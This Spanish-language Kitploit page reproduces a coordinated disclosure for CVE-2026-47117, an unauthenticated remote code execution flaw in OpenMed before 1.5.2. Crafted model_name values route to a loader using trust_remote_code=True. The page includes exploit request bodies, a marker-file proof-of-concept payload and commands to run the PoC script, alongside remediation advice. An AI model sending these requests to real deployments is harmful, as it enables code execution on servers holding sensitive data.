Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 RCE no autenticado a través de la carga del modelo del filtro de privacidad PII y trust_remote_code=True | Kitploit
Herramientas/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de IA
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 RCE no autenticado a través de la carga del modelo del filtro de privacidad PII y trust_remote_code=True

Ver Repositorio
17hace 10 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-47117: Ejecución remota de código no autenticada en OpenMed mediante la carga de modelos PII

Gravedad: Crítica, CVSS 4.0 9.3, CVSS 3.1 9.8 (asignada por VulnCheck, el CNA)

Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vector (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Afectado: OpenMed < 1.5.2

Corregido en: 1.5.2

CWE: CWE-94 (Control inadecuado de la generación de código, inyección de código)

Descubierto y reportado por: Sai Teja Erukude

Publicado: 2 de junio de 2026


Resumen

OpenMed anterior a 1.5.2 contiene una vulnerabilidad de ejecución remota de código no autenticada en la ruta de carga del modelo de filtro de privacidad PII.

Los endpoints de la API REST POST /pii/extract y POST /pii/deidentify aceptan un valor model_name del cuerpo de la solicitud. En las versiones vulnerables, el despachador del filtro de privacidad utilizaba una coincidencia amplia de subcadenas sobre este valor controlado por el atacante. Un nombre de modelo como attacker/foo-privacy-filter-bar podía, por lo tanto, enrutarse hacia el backend del filtro de privacidad.

En implementaciones que no son MLX/Torch, ese backend cargaba artefactos de modelos de Hugging Face a través de Transformers con trust_remote_code=True. Si el repositorio de modelos controlado por el atacante contenía código personalizado de Transformers referenciado mediante auto_map en config.json o tokenizer_config.json, Transformers importaba y ejecutaba ese código Python durante la carga del modelo o del tokenizador.

El código importado se ejecutaba con los privilegios del proceso del servicio OpenMed.

Impacto

Un atacante remoto no autenticado que pueda alcanzar la API REST de OpenMed puede ejecutar código Python arbitrario en el servidor proporcionando un identificador de modelo malicioso al estilo de Hugging Face en model_name.

Dependiendo de la implementación del servicio, esto puede permitir:

  • Leer o modificar archivos accesibles al proceso de OpenMed.
  • Acceder a variables de entorno y secretos de la aplicación.
  • Llamar a servicios internos accesibles desde el host de OpenMed.
  • Interrumpir o reemplazar el comportamiento de la aplicación.

Endpoints afectados

El problema es alcanzable a través de ambos endpoints PII, ya que ambos aceptan model_name y utilizan la misma ruta de extracción PII/carga de modelos:

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

Detalle técnico

El flujo de control vulnerable presenta dos fallos en los límites de confianza:

  1. La API confiaba en un model_name proporcionado por el usuario al seleccionar el backend del filtro de privacidad.
  2. El backend seleccionado confiaba en el código del repositorio remoto de modelos al cargar artefactos de Transformers con trust_remote_code=True.

El despachador trataba cualquier identificador de modelo que contuviera privacy-filter como parte de la familia del filtro de privacidad. Esto permitía que identificadores controlados por el atacante, por ejemplo attacker/foo-privacy-filter-bar, alcanzaran una ruta de código destinada a modelos Privacy Filter de confianza de primera parte.

Una vez enrutados allí, Transformers podía cargar código personalizado controlado por el atacante a través de auto_map. Esta importación ocurre durante la carga del modelo/tokenizador, antes de que cualquier inferencia útil tenga que completarse con éxito. Por lo tanto, una carga útil de prueba puede ser tan pequeña como:

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

Prueba de concepto

poc_exploit.py crea un directorio de modelo local inofensivo al estilo de Hugging Face cuyo nombre contiene privacy-filter. Los módulos personalizados de Transformers generados escriben un archivo marcador cuando se importan. A continuación, el script envía una solicitud a una instancia de prueba de la API de OpenMed con ese directorio como model_name.

El comportamiento esperado en las versiones vulnerables de OpenMed es:

  1. La API acepta el model_name controlado por el atacante.
  2. El enrutamiento por subcadena lo envía al backend de privacy-filter.
  3. Transformers importa el módulo personalizado generado porque trust_remote_code=True.
  4. Se crea el archivo marcador, lo que demuestra la ejecución de código en el proceso del servicio OpenMed.
  5. La solicitud puede fallar después porque el modelo de juguete no es un modelo Privacy Filter real; el marcador en tiempo de importación es la prueba relevante.

Ejecútelo únicamente contra una instancia de prueba local:

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

Si el servicio OpenMed se ejecuta en algún lugar que no puede acceder al directorio local generado, publique un modelo de prueba equivalente en un repositorio controlado de Hugging Face y pase ese identificador explícitamente:

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

Remediación

Actualice a OpenMed 1.5.2 o posterior.

OpenMed 1.5.2 separa el enrutamiento de la confianza:

  • Los nombres de repositorio arbitrarios que contienen privacy-filter ya no se enrutan a través de la ruta de confianza del filtro de privacidad.
  • PrivacyFilterTorchPipeline establece trust_remote_code en False de forma predeterminada.
  • Solo los repositorios explícitos de Privacy Filter de primera parte están incluidos en la lista de permitidos para la carga de código remoto de confianza.
  • Los operadores que necesiten ajustes finos privados controlados pueden incluirlos en la lista de permitidos con OPENMED_TRUSTED_REMOTE_CODE_MODELS.

Si no es posible una actualización inmediata:

  • No exponga la API REST vulnerable a clientes no confiables.
  • No pase valores de model_name controlados por el usuario a Transformers con trust_remote_code=True.
  • Reemplace el enrutamiento de modelos basado en subcadenas por identificadores de modelo de confianza exactos.
  • Precargue artefactos de modelos locales aprobados en producción y deshabilite las descargas arbitrarias de modelos.

Cronología de divulgación

FechaEvento
18 de mayo de 2026Vulnerabilidad enviada a VulnCheck
20 de mayo de 2026VulnCheck inició el contacto de divulgación coordinada
22 de mayo de 2026CVE-2026-47117 asignado provisionalmente
1 de junio de 2026Corrección de OpenMed 1.5.2 revisada y confirmada
2 de junio de 2026CVE-2026-47117 publicado

Créditos

Descubierto y reportado por Sai Teja Erukude.

La divulgación se coordinó a través de VulnCheck.

Referencias

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • Aviso de VulnCheck: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • Notas de la versión de OpenMed 1.5.2: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • Proyecto OpenMed: https://github.com/maziyarpanahi/openmed
Descargar herramienta